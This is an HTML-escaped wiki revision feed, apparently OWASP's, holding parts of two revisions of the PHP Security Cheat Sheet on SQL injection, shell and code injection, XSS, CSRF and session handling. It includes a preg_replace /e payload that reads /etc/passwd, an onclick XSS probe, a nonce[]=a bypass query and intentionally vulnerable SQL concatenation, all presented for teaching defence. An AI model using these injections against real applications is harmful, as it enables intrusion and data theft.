The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184332</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184332"/>
				<updated>2014-10-30T08:22:34Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* DRAFT CHEAT SHEET - WORK IN PROGRESS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
